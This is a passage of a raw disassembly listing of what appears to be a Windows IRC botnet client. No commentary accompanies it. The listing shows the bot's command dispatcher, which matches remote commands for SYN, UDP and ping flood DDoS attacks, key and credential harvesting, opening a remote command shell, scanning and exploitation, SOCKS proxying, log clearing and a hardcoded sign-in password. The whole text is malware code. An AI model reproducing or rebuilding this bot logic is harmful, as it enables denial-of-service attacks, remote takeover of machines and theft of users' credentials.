		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_437584
		jmp	loc_40F92B
; ---------------------------------------------------------------------------


loc_40F7D3:				; CODE XREF: sub_40EE51+6FFj
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+esi+Format]
		push	offset dword_437534 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h


loc_40F7F5:				; CODE XREF: sub_40EE51+7E4j
					; sub_40EE51+AA2j ...
		push	1
		pop	esi
		jmp	loc_411109
; ---------------------------------------------------------------------------


loc_40F7FD:				; CODE XREF: sub_40EE51+6F3j
		push	[ebp+esi+var_90] ; Str2
		push	offset aChat	; "CHAT"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F955
		cmp	[ebp+var_AC], ebx
		jz	loc_40F91F
		push	13h
		call	sub_416F90
		test	eax, eax
		pop	ecx
		jnz	loc_40F911
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		push	dword ptr [ebp+esi+Args] ; Str
		call	_atoi
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh		; Count
		push	eax		; Source
		lea	eax, [ebp+var_5F0]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset dword_4374FC ; Format
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	13h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 34h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C353
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_40F903


loc_40F8ED:				; CODE XREF: sub_40EE51+AB0j
		cmp	[ebp+var_560], ebx
		jnz	loc_40F7F5
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_40F8ED
; ---------------------------------------------------------------------------


loc_40F903:				; CODE XREF: sub_40EE51+A9Aj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4374B8
		jmp	short loc_40F92B
; ---------------------------------------------------------------------------


loc_40F911:				; CODE XREF: sub_40EE51+9DDj
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_437478
		jmp	short loc_40F92B
; ---------------------------------------------------------------------------


loc_40F91F:				; CODE XREF: sub_40EE51+9CDj
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_437438 ; Format


loc_40F92B:				; CODE XREF: sub_40EE51+97Dj
					; sub_40EE51+ABEj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	loc_40F7F5
; ---------------------------------------------------------------------------


loc_40F93F:				; CODE XREF: sub_40EE51+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, ds:byte_42E5C0
		mov	[edi], ecx
		jnz	loc_40F215


loc_40F955:				; CODE XREF: sub_40EE51+9C1j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi		; Str2
		mov	edi, offset aS1gn1n ; "s1gn1n"
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F44
		push	[ebp+arg_8]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F44
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9A5
		push	[ebp+var_90]	; Str2
		push	offset a332	; "332"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F3C


loc_40F9A5:				; CODE XREF: sub_40EE51+B38j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F3C
		xor	edi, edi
		cmp	ds:dword_4303A0, ebx
		jle	loc_40FB51
		mov	[ebp+arg_20], offset Str1


loc_40F9C3:				; CODE XREF: sub_40EE51+B91j
		push	[ebp+arg_8]	; Str2
		push	[ebp+arg_20]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F9E9
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, ds:dword_4303A0
		jl	short loc_40F9C3
		jmp	loc_40FB51
; ---------------------------------------------------------------------------


loc_40F9E9:				; CODE XREF: sub_40EE51+B81j
		push	offset asc_43778C ; " :"
		push	[ebp+Src]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F215
		mov	cl, ds:byte_42E5C0
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, ds:byte_42E5C0
		mov	[eax+3], cl
		lea	ecx, dword_441308[edi]
		push	9Fh		; Count
		add	eax, 4
		push	ecx		; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA3E:				; CODE XREF: sub_40EE51+C95j
		push	[ebp+arg_20]
		lea	eax, [ebp+SubStr]
		push	offset aD	; "$%d-"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FAAA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FAAA
		lea	eax, Str1[edi]
		push	eax		; Str
		call	_strlen
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FADC
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4] ; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FADC
		push	eax		; Str
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_40A7D2
		add	esp, 0Ch
		jmp	short loc_40FADC
; ---------------------------------------------------------------------------


loc_40FAAA:				; CODE XREF: sub_40EE51+C15j
					; sub_40EE51+C1Cj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FADC
		lea	eax, [ebp+SubStr]
		push	2		; Count
		push	eax		; Source
		lea	eax, [ebp+var_14]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax		; Str
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_40A7D2
		add	esp, 18h


loc_40FADC:				; CODE XREF: sub_40EE51+C2Ej
					; sub_40EE51+C42j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA3E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FAF9:				; CODE XREF: sub_40EE51+CF4j
		push	[ebp+arg_20]
		lea	eax, [ebp+SubStr]
		push	offset aD_0	; "$%d"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB3C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB3C
		push	eax		; Str
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_40A7D2
		add	esp, 0Ch


loc_40FB3C:				; CODE XREF: sub_40EE51+CD0j
					; sub_40EE51+CD6j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FAF9
		mov	[ebp+var_DC], 1


loc_40FB51:				; CODE XREF: sub_40EE51+B65j
					; sub_40EE51+B93j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, ds:byte_42E5C0
		jz	short loc_40FB6A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD4F


loc_40FB6A:				; CODE XREF: sub_40EE51+D0Bj
		push	[ebp+Source]	; Str
		mov	edi, [ebp+Src]
		push	offset aMe_0	; "$me"
		push	edi		; Src
		call	sub_40A7D2
		lea	eax, [ebp+var_D8]
		push	eax		; Str
		push	offset aUser_2	; "$user"
		push	edi		; Src
		call	sub_40A7D2
		push	[ebp+Format]	; Str
		push	offset aChan	; "$chan"
		push	edi		; Src
		call	sub_40A7D2
		push	ebx		; Str1
		push	ebx		; int
		lea	eax, [ebp+SubStr]
		push	2		; int
		push	eax		; Dest
		call	sub_415CF0
		push	eax		; Str
		push	offset aRndnick	; "$rndnick"
		push	edi		; Src
		call	sub_40A7D2
		add	esp, 40h
		push	[ebp+arg_14]	; Str
		push	offset aServer_1 ; "$server"
		push	edi		; Src
		call	sub_40A7D2
		mov	edi, offset aChr ; "$chr("
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 14h


loc_40FBDC:				; CODE XREF: sub_40EE51+E77j
		test	eax, eax
		jz	loc_40FCCD
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		mov	[ebp+Source], eax
		add	eax, 5
		push	4		; Count
		push	eax		; Source
		lea	eax, [ebp+SubStr]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+SubStr]
		push	offset asc_4373F0 ; ")"
		push	eax		; Str
		call	_strtok
		add	esp, 1Ch
		cmp	[ebp+SubStr], 30h
		jl	short loc_40FC28
		cmp	[ebp+SubStr], 39h
		jle	short loc_40FC3E


loc_40FC28:				; CODE XREF: sub_40EE51+DCCj
		push	3		; Count
		lea	eax, [ebp+SubStr]
		push	offset a63	; "63"
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch


loc_40FC3E:				; CODE XREF: sub_40EE51+DD5j
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		test	eax, eax
		pop	ecx
		jle	short loc_40FC61
		lea	eax, [ebp+SubStr]
		push	eax		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FC72
; ---------------------------------------------------------------------------


loc_40FC61:				; CODE XREF: sub_40EE51+DFCj
		call	_rand
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FC72:				; CODE XREF: sub_40EE51+E0Ej
		lea	eax, [ebp+SubStr]
		mov	[ebp+var_13], bl
		push	eax		; Str
		call	_strlen
		mov	[ebp+arg_20], eax
		push	0Ch		; Size
		lea	eax, [ebp+SubStr]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax		; Count
		lea	eax, [ebp+SubStr]
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_14]
		push	eax		; Str
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		push	[ebp+Src]	; Src
		call	sub_40A7D2
		push	edi		; SubStr
		push	[ebp+Src]	; Str
		call	_strstr
		add	esp, 30h
		jmp	loc_40FBDC
; ---------------------------------------------------------------------------


loc_40FCCD:				; CODE XREF: sub_40EE51+D8Dj
		mov	edi, 1FFh
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+Str]
		push	edi		; Count
		push	eax		; Source
		lea	eax, [ebp+var_11B0]
		push	eax		; Dest
		call	_strncpy
		lea	eax, [ebp+var_11B0]
		push	offset asc_4293B4 ; " "
		push	eax		; Str
		call	_strtok
		add	esp, 20h
		mov	[ebp+Str2], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+Source], 1Fh


loc_40FD1D:				; CODE XREF: sub_40EE51+EE1j
		push	offset asc_4293B4 ; " "
		push	ebx		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+Source]
		pop	ecx
		jnz	short loc_40FD1D
		mov	ecx, [ebp+esi+Str2]
		lea	eax, [ebp+esi+Str2]
		cmp	ecx, ebx
		jz	loc_40F215
		add	ecx, 3
		mov	[eax], ecx


loc_40FD4F:				; CODE XREF: sub_40EE51+D13j
		mov	edi, [ebp+esi+Str2]
		push	edi		; Str2
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EEF
		push	edi		; Str2
		push	offset aRn	; "rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EEF
		push	edi		; Str2
		push	offset aIrc_die	; "irc.die"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ECD
		push	edi		; Str2
		push	offset aIrc_di	; "irc.di"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ECD
		push	edi		; Str2
		push	offset aIrc_logout ; "irc.logout"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2B
		push	edi		; Str2
		push	offset aLo	; "lo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2B
		push	edi		; Str2
		push	offset aIrc_version ; "irc.version"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E0D
		push	edi		; Str2
		push	offset aVer	; "ver"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E0D
		push	edi		; Str2
		push	offset aLockdown_on ; "lockdown.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CF8
		push	edi		; Str2
		push	offset aLd_on	; "ld.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CF8
		push	edi		; Str2
		push	offset aLockdown_off ; "lockdown.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CF8
		push	edi		; Str2
		push	offset aLd_off	; "ld.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414CF8
		push	edi		; Str2
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD6
		push	edi		; Str2
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD6
		push	edi		; Str2
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEBF
		push	[ebp+esi+var_90] ; Str
		push	11h		; int
		push	offset aServer_0 ; "Server"
		push	offset dword_437338 ; int


loc_40FEA3:				; CODE XREF: sub_40EE51+1092j
					; sub_40EE51+10B8j ...
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; int
		push	[ebp+arg_4]	; int
		call	sub_416FD6
		add	esp, 20h
		jmp	loc_40F215
; ---------------------------------------------------------------------------


loc_40FEBF:				; CODE XREF: sub_40EE51+103Dj
		push	edi		; Str2
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEE5
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_437314
		jmp	short loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FEE5:				; CODE XREF: sub_40EE51+107Dj
		push	edi		; Str2
		push	offset aDaemon_web_off ; "daemon.web.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF0B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_4372F8
		jmp	short loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FF0B:				; CODE XREF: sub_40EE51+10A3j
		push	edi		; Str2
		push	offset aLog_off	; "log.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF34
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_4372E4
		push	offset dword_4372D8
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FF34:				; CODE XREF: sub_40EE51+10C9j
		push	edi		; Str2
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF5D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4372B4
		push	offset dword_4372A4
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FF5D:				; CODE XREF: sub_40EE51+10F2j
		push	edi		; Str2
		push	offset aDdos_off ; "ddos.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF86
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_43728C
		push	offset dword_437280
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FF86:				; CODE XREF: sub_40EE51+111Bj
		push	edi		; Str2
		push	offset aDdos_syn_off ; "ddos.syn.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFAF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_437264
		push	offset dword_437258
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FFAF:				; CODE XREF: sub_40EE51+1144j
		push	edi		; Str2
		push	offset aDdos_udp_off ; "ddos.udp.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFD8
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43723C
		push	offset dword_437230
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_40FFD8:				; CODE XREF: sub_40EE51+116Dj
		push	edi		; Str2
		push	offset aDdos_ping_off ;	"ddos.ping.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410001
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_437214
		push	offset dword_437208
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_410001:				; CODE XREF: sub_40EE51+1196j
		push	edi		; Str2
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41002A
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer_0 ; "Server"
		push	offset dword_4371EC
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_41002A:				; CODE XREF: sub_40EE51+11BFj
		push	edi		; Str2
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BBE
		push	edi		; Str2
		push	offset aUtil_ff_off ; "util.ff.off"
		call	_strcmp
		pop	ecx
		test	eax, eax


loc_41004D:				; DATA XREF: UPX0:0042BC90o
		pop	ecx


loc_41004E:				; DATA XREF: UPX0:0042BCA4o
		jz	loc_414BBE
		push	edi		; Str2
		push	offset aCom_procs_off ;	"com.procs.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA6
		push	edi		; Str2
		push	offset aCom_ps_off ; "com.ps.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA6
		push	edi		; Str2
		push	offset aClone_off ; "clone.off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100A7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_43718C
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_4100A7:				; CODE XREF: sub_40EE51+123Cj
		push	edi		; Str2
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D0
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_437164
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_4100D0:				; CODE XREF: sub_40EE51+1265j
		push	edi		; Str2
		push	offset aRoot_stop ; "root.stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100F9
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FEA3
; ---------------------------------------------------------------------------


loc_4100F9:				; CODE XREF: sub_40EE51+128Ej
		push	edi		; Str2
		push	offset aRoot_stats ; "root.stats"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B90
		push	edi		; Str2
		push	offset aRoot_st	; "root.st"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B90
		push	edi		; Str2
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B6F
		push	edi		; Str2
		push	offset aIrc_r	; "irc.r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B6F
		push	edi		; Str2
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B4D
		push	edi		; Str2
		push	offset aIrc_d	; "irc.d"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B4D
		push	edi		; Str2
		push	offset aIrc_quit ; "irc.quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B05
		push	edi		; Str2
		push	offset aIrc_q	; "irc.q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B05
		push	edi		; Str2
		push	offset aIrc_status ; "irc.status"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC7
		push	edi		; Str2
		push	offset aIrc_s	; "irc.s"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AC7
		push	edi		; Str2
		push	offset aIrc_id	; "irc.id"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414A90
		push	edi		; Str2
		push	offset aIrc_i	; "irc.i"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414A90
		push	edi		; Str2
		push	offset aCom_rebewt ; "com.rebewt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410247
		call	sub_40AC1B
		test	eax, eax
		mov	eax, offset dword_43708C
		jnz	short loc_410219
		mov	eax, offset dword_437058


loc_410219:				; CODE XREF: sub_40EE51+13C1j
		push	eax		; Format
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_40D670
		add	esp, 1Ch
		jmp	loc_40F7F5
; ---------------------------------------------------------------------------


loc_410247:				; CODE XREF: sub_40EE51+13B3j
		push	edi		; Str2
		push	offset aThreads_list ; "threads.list"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41499F
		push	edi		; Str2
		push	offset aThreads_l ; "threads.l"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41499F
		push	edi		; Str2
		push	offset aIrc_aliases ; "irc.aliases"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41497F
		push	edi		; Str2
		push	offset aIrc_al	; "irc.al"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41497F
		push	edi		; Str2
		push	offset aIrc_log	; "irc.log"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41488F
		push	edi		; Str2
		push	offset aIrc_lg	; "irc.lg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41488F
		push	edi		; Str2
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414876
		push	edi		; Str2
		push	offset aUtil_clg ; "util.clg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414876
		push	edi		; Str2
		push	offset aCom_netinfo ; "com.netinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41483F
		push	edi		; Str2
		push	offset aCom_ni	; "com.ni"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41483F
		push	edi		; Str2
		push	offset aDdos_supersyn ;	"ddos.supersyn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_410429
		mov	edi, [ebp+esi+var_90]
		push	7Fh		; Count
		lea	eax, [ebp+var_76C]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+esi+Format]
		push	7Fh		; Count
		mov	[ebp+Str1], eax
		push	eax		; Source
		lea	eax, [ebp+var_6EC]
		push	eax		; Dest
		call	_strncpy
		mov	esi, [ebp+esi+var_88]
		push	7Fh		; Count
		lea	eax, [ebp+var_66C]
		push	esi		; Source
		push	eax		; Dest
		call	_strncpy
		push	7Fh		; Count
		lea	eax, [ebp+var_5EC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+Str1]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		push	edi
		lea	eax, [ebp+Dst]
		push	offset unk_436F98 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 44h
		lea	eax, [ebp+Dst]
		push	ebx		; int
		push	14h		; int
		push	eax		; Source
		call	sub_416D48
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_40182E
		push	ebx
		push	ebx
		call	ds:dword_42309C
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_442084[ecx], eax
		jz	short loc_410418


loc_410402:				; CODE XREF: sub_40EE51+15C5j
		cmp	[ebp+var_560], ebx
		jnz	loc_4145C3
		push	32h
		call	ds:dword_423060	; Sleep
		jmp	short loc_410402
; ---------------------------------------------------------------------------


loc_410418:				; CODE XREF: sub_40EE51+15AFj
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_436F4C
		jmp	loc_413BD1
; ---------------------------------------------------------------------------


loc_410429:				; CODE XREF: sub_40EE51+14D7j
		push	edi		; Str2
		push	offset aCom_sysinfo ; "com.sysinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414814
		push	edi		; Str2
		push	offset aCom_si	; "com.si"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414814
		push	edi		; Str2
		push	offset aC00lm4n	; "c00lm4n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147DA
		push	edi		; Str2
		push	offset aC00lm4n	; "c00lm4n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4147DA
		push	edi		; Str2
		push	offset aCom_procs ; "com.procs"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146D1
		push	edi		; Str2
		push	offset aCom_ps	; "com.ps"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146D1
		push	edi		; Str2
		push	offset aCom_harvest ; "com.harvest"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146A7
		push	edi		; Str2
		push	offset aCom_key	; "com.key"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4146A7
		push	edi		; Str2
		push	offset aCom_uptime ; "com.uptime"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414623
		push	edi		; Str2
		push	offset aCom_up	; "com.up"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414623
		push	edi		; Str2
		push	offset aCom_driveinfo ;	"com.driveinfo"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414606
		push	edi		; Str2
		push	offset aCom_drv	; "com.drv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414606
		push	edi		; Str2
		push	offset aCom_testdlls ; "com.testdlls"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145ED
		push	edi		; Str2
		push	offset aCom_dll	; "com.dll"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4145ED
		push	edi		; Str2
		push	offset aCom_opencmd ; "com.opencmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi		; Str2
		push	offset aCom_ocmd ; "com.ocmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414581
		push	edi		; Str2
